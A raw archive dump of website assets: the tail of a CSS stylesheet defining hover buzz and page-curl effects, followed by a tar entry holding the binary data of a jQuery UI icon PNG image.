rotate(2deg); } 100% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } } @keyframes hvr-icon-buzz { 50% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 100% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } } .hvr-icon-buzz { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-buzz:before { content: "\f017"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-buzz:hover:before, .hvr-icon-buzz:focus:before, .hvr-icon-buzz:active:before { -webkit-animation-name: hvr-icon-buzz; animation-name: hvr-icon-buzz; -webkit-animation-duration: 0.15s; animation-duration: 0.15s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } /* Icon Buzz Out */ @-webkit-keyframes hvr-icon-buzz-out { 10% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 20% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } 30% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 40% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } 50% { -webkit-transform: translateX(2px) rotate(1deg); transform: translateX(2px) rotate(1deg); } 60% { -webkit-transform: translateX(-2px) rotate(-1deg); transform: translateX(-2px) rotate(-1deg); } 70% { -webkit-transform: translateX(2px) rotate(1deg); transform: translateX(2px) rotate(1deg); } 80% { -webkit-transform: translateX(-2px) rotate(-1deg); transform: translateX(-2px) rotate(-1deg); } 90% { -webkit-transform: translateX(1px) rotate(0); transform: translateX(1px) rotate(0); } 100% { -webkit-transform: translateX(-1px) rotate(0); transform: translateX(-1px) rotate(0); } } @keyframes hvr-icon-buzz-out { 10% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 20% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } 30% { -webkit-transform: translateX(3px) rotate(2deg); transform: translateX(3px) rotate(2deg); } 40% { -webkit-transform: translateX(-3px) rotate(-2deg); transform: translateX(-3px) rotate(-2deg); } 50% { -webkit-transform: translateX(2px) rotate(1deg); transform: translateX(2px) rotate(1deg); } 60% { -webkit-transform: translateX(-2px) rotate(-1deg); transform: translateX(-2px) rotate(-1deg); } 70% { -webkit-transform: translateX(2px) rotate(1deg); transform: translateX(2px) rotate(1deg); } 80% { -webkit-transform: translateX(-2px) rotate(-1deg); transform: translateX(-2px) rotate(-1deg); } 90% { -webkit-transform: translateX(1px) rotate(0); transform: translateX(1px) rotate(0); } 100% { -webkit-transform: translateX(-1px) rotate(0); transform: translateX(-1px) rotate(0); } } .hvr-icon-buzz-out { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; padding-right: 2.2em; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-icon-buzz-out:before { content: "\f023"; position: absolute; right: 1em; padding: 0 1px; font-family: FontAwesome; -webkit-transform: translateZ(0); transform: translateZ(0); } .hvr-icon-buzz-out:hover:before, .hvr-icon-buzz-out:focus:before, .hvr-icon-buzz-out:active:before { -webkit-animation-name: hvr-icon-buzz-out; animation-name: hvr-icon-buzz-out; -webkit-animation-duration: 0.75s; animation-duration: 0.75s; -webkit-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /* CURLS */ /* Curl Top Left */ .hvr-curl-top-left { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-curl-top-left:before { pointer-events: none; position: absolute; content: ''; height: 0; width: 0; top: 0; left: 0; background: white; /* IE9 */ background: linear-gradient(135deg, white 45%, #aaaaaa 50%, #cccccc 56%, white 80%); filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#ffffff', endColorstr='#000000'); /*For IE7-8-9*/ z-index: 1000; box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.4); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: width, height; transition-property: width, height; } .hvr-curl-top-left:hover:before, .hvr-curl-top-left:focus:before, .hvr-curl-top-left:active:before { width: 25px; height: 25px; } .top-services .hvr-curl-top-left:before { pointer-events: none; position: absolute; content: ''; height: 0; width: 0; top: 0; left: 0; background: #0f86ff; /* IE9 */ background: linear-gradient(135deg, white 45%, #0f86ff 50%, #0f86ff 56%, #0f86ff 80%); filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#ffffff', endColorstr='#0f86ff'); /*For IE7-8-9*/ z-index: 1000; box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.4); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: width, height; transition-property: width, height; } .top-services .hvr-curl-top-left:hover:before, .top-services .hvr-curl-top-left:focus:before, .top-services .hvr-curl-top-left:active:before { width: 40px; height: 40px; } /* Curl Top Right */ .hvr-curl-top-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-curl-top-right:before { pointer-events: none; position: absolute; content: ''; height: 0; width: 0; top: 0; right: 0; background: white; /* IE9 */ background: linear-gradient(225deg, white 45%, #aaaaaa 50%, #cccccc 56%, white 80%); box-shadow: -1px 1px 1px rgba(0, 0, 0, 0.4); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: width, height; transition-property: width, height; } .hvr-curl-top-right:hover:before, .hvr-curl-top-right:focus:before, .hvr-curl-top-right:active:before { width: 25px; height: 25px; } .top-services .hvr-curl-top-right:before { pointer-events: none; position: absolute; content: ''; height: 0; width: 0; top: 0; right: 0; background: #6ec7f9; /* IE9 */ background: linear-gradient(225deg, white 45%, #6ec7f9 50%, #6ec7f9 56%, #6ec7f9 80%); box-shadow: -1px 1px 1px rgba(0, 0, 0, 0.4); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: width, height; transition-property: width, height; } .top-services .hvr-curl-top-right:hover:before, .top-services .hvr-curl-top-right:focus:before, .top-services .hvr-curl-top-right:active:before { width: 40px; height: 40px; } /* Curl Bottom Right */ .hvr-curl-bottom-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-curl-bottom-right:before { pointer-events: none; position: absolute; content: ''; height: 0; width: 0; bottom: 0; right: 0; background: white; /* IE9 */ background: linear-gradient(315deg, white 45%, #aaaaaa 50%, #cccccc 56%, white 80%); box-shadow: -1px -1px 1px rgba(0, 0, 0, 0.4); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: width, height; transition-property: width, height; } .hvr-curl-bottom-right:hover:before, .hvr-curl-bottom-right:focus:before, .hvr-curl-bottom-right:active:before { width: 25px; height: 25px; } /* Curl Bottom Left */ .hvr-curl-bottom-left { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-curl-bottom-left:before { pointer-events: none; position: absolute; content: ''; height: 0; width: 0; bottom: 0; left: 0; background: white; /* IE9 */ background: linear-gradient(45deg, white 45%, #aaaaaa 50%, #cccccc 56%, white 80%); box-shadow: 1px -1px 1px rgba(0, 0, 0, 0.4); -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: width, height; transition-property: width, height; } .hvr-curl-bottom-left:hover:before, .hvr-curl-bottom-left:focus:before, .hvr-curl-bottom-left:active:before { width: 25px; height: 25px; } images/ui-icons_444444_256x240.png 0000644 00000015536 14704434233 0012124 0 ustar 00 �PNG IHDR � E�r@ gAMA ���a bKGD D�<�� tIME� 5�s�� mIDATx��{leG}�?g�K�Ɇ^CKd�*�M��&6"�R庅� ���T�*�Id��T��JyT�������[$�Q�Q�Ї%j!�Y�ҦP�R�U���%p��y͜3�sν���w����͜��&x/MƁA�c���px�1A�Ġ��� b�-`�I"�k|�� �s�D'Iʃ�c!�Y��?l�G?�s�І��0�Z "�o�"`Jy�t�( �P��5RH�&��<�ą��m`����r�:�t �b�t��<"�t�J�^��ߖwX��)�긏�i �t��ڇ�(wͩ�뛦!HL���2�Wͽ���F��w�)�����f��l�3� ����M���¶�g��δ��b�#�*`�1��(���.��a{4�v��+� ����@������pxh8� 4~?@>�˿�(��mG��3a�`�Ξ:�����#%$��Y��M�gФ�k�6��R��}�S�� � ��I(��MO��v�`*�9w{|3�8��s$ �P}����a��e?�����M/>�u�A���2�z�E@��.�y;ޖeƖ6vղE4�S���{m�8lUVύ3��<����A�q�`��xxh8� 4^ / ����@�᷅�p-��٩��?X/z_a�%�%�n ��@��! ����?@X�RU�?b}`L�.Uc��%T��� �껜���ȥ ����R��@�?��P�-`��Y�BKl�ub����Z}�n{#=P���oE� LcJ���*��{���洳ڙ��X� �NC��c�"���s��MrI�j���K�6(�˼f*�%��fV�v 6�aS�n*�փl��L"��.�v�T�2�Mu֛��Z�_e� �-�!LU��i� ��{Phpt �s�����@������pxh8� 4^ �ph�,up���'\Z��"Z-��l�k.�� @rr���{����e+�[�\�fָ�ұ��y�:LTn�0WJ@}8�|��Ţ=�x�;Х��B_~���1�;^;Q*vV��w4�p@W>��N�v[�L�m'���t�.��%wsH��Y�趃�sT�C)e��Xg��a�N�U�ǯb �U5AW�����2�ͽ��{K��:X�I�7+� @��7�6ӥ2Y:��+��'cj2���`�?H����jJ9;�n?/�3��05�<�1U�\8SMi�U�o�R��.��l�Hl�N� &�n����r����WF� g�1ıj���"��d��˵5Ց�l�M`���/@Ą�Ƥ��?"�;��h� 4^ / ����@�1Hsv��`�W�T}����ߨ_����=du/�0�d1w9��X�&��Q�p��xx`=�jg�.�)�![ �岔[4�f����vn�d���Ʒ���:s���h�Du��@=�m:0۫���ʦ���طM�}����OU���lJd �[������l�ly�Pga꺠���[�:>>��L DkZ�Y���ֺ�c h���?U!zӋU9��ch�8d���|��K�m�~ c��=��^ �� s�g��H2(ICT�P����[� �KUa��t4�ڼk�M�t��x1��_&�>���P~����V����p���2��@���������pxh8� 4^ ���ְ,�6yp�e�L6�U�EwO^��ahP�]��)f�Fy�$B�2���>�� ^� �W�ͫ�I�n�U�@�.����E�< ���O�Us�n>��@d �{/"���\�1�w�y�U{��w7��MrW�/�(ȧ��>�qHlY��=^�,Y ����;N��Ų�˟lf��#t|$�4�i���&�Q�J���sϗA��X4TR�F�#��M�w0b���Z =��0�H�j��ryz�V�(��5�nO��J&}<�v���!w�@d�O$���HQ�-��������c'���F�����h�/�� ��yP <��asᙴ�>[�Ǟ�@������p�� L�+ S}I� ���6u��H f�[e�rJZ,�6���v�e���ue�Z�q�7��]v��7�"0e-��z\���n� �3�r):r/��+B��l6}>�yM�ٹ�%�h�E�C��BX�Ը���l���%T��8/K�O��0׳��K���cm��y���1D��:�K�$_`M� ���5f�aIS����n���c�N�X"�!�R�LK"0����P�������q��AWN�VP��U���(�iJ� lƟ�6�ȗ��k\�=�ц8d����,�s��9IWl"���E���[�e8�5\e(���Y���"�r������q6�u- |��B�� �R��i x>��9�W�HD����g�t�K��G�|��2��"�.�t���V������E�u>�b�������f� ��a?q�h'y'r�y���ԫ�L�M��e�^��-�U= ��-���³��K\ | ��_���W�*��*ƸJ�$��J�T=l��~��y��y�v�)��e���1~9�7V(��$�uڴ9@�;�[J�5�?*��pl!��x ���W �a-"T�-Vq�细�6 0�6�}[�S]%����7Q�K�D3"YO��M�6iv�Q�5C��t��/����7 �8�-*�"����_E�U�y0�x�+CxG�3�D�� �W�l�,>�O�l�<xB�+b�e�{�z������a�0b �u���T����L=�`���yYf�0 ��@0J� � ��pxh8� 4^ F����"��r8����͛n�RZԧ[v�-�P�7��/��E'�Z~�t����O�N�v��O�I����g���آ�4��؛��m� ��p���168,1ŢD/w�obۗ�O�i�ڻsK?�=<��B|W{|�~zOO�������*�t�q���uZt�%c�3�<?�,� ��֝��X�5Q "�Gִ����W}��� ���Q>ʣ��C��b�YV 6=��*��ۿ�M\�����8hs�����������8��'Ϳ ,�l������E�b���\Y�e���M6܈��d9u��J�ZĽj���l�}����&8�:s�ךt���yis���Gm�h-�m��k�2�P�J��e%u\j5���n��� |���;����δa[�;�Хˎ�p�?�|�y��RaC$�_a�/��� N�uN�e�ƍ��Ȅp��~�Ú�/���k�������n�������3|��(G� ���".�s��9�J�ۇ��l�������{�6�)X���{�����SDf��<��|��0��a��ƅDP��� ~j���gco�gs{;�����'�Z9�Z��.��O�孁���e���U�~?�Ӆ1N 3��ڶD�(�� Ws�rW�g��h��0����)=c�9M���! �Y��;�Qd��[��{.�h�_���5�؋�nF�7��0Q��O����S5�:�'���/��ա���J�r���� �}\�#<,�W���$�<��K��|�L�[�0pI���2��JS�_�݂��`�?��tɦ�'t�w6�1u�V��L�5��A��x��� <F�7!�q]�'���~�y5��E��h8�-����pxh8� 4���l�QP:�)�z�tt��}�X��i���^u� u�"�l���vW�� b� ��*�9ͻx��W 1��D�K��8� |������pC!��}E~7C~?C�n1[�C�'I_O�� ,�J͞�D\\I�g�<˴��I6�*Q�����x�]�~�W)�^�~��(�B�y��\�ӑ�����ľ�U��k���:�ͅҍ2� W�!�B�Ԝ�i�M֘�<�Ŏ�$��l2�&*�j�֞�_er=�M�?�'��OxSI��xj�_+]�t�+1�z ��ӡ;,ĶV��5�S��~'�L2ɏ����<gY�%ݼ�E���2z@wC����X�4�Y�ĺ̝zޞ��!Yg8�˅��� ���O<�*5�>���x�2�Ht!6ɽV�\'� S��3�6����6���N���0����G�.����[PPwB����<����g�}�e)�H��U�C�xW\�~���`�9V8��!ٱ�b�����^�豨vh�M�J�/�!�6<�r�i�/���8��*��c¯y͐�J��>�S ��j ���c��� @��m���F�?�aֺ��k�b���e��bKT6�U����B�f�*�͘y�w �#q�JԄ�3�(��e>�B���~�d�{��fE����P��8�8�^�����:l�\���Z�nLBdC@�"zIj��o!~�Ħ�"�?ǝ��[��E��ؿfH��|�%�����#tY ��Hͪ�!lc9^8<���˅h�:"����MF�eF���5p���f�覊�Yn�Yͣ�n��Fh�M1w8�N<�<�s w�?`[�J!Az^ ?�<̯�oɛ�_s[Kg{(e�}�E�~J��,��<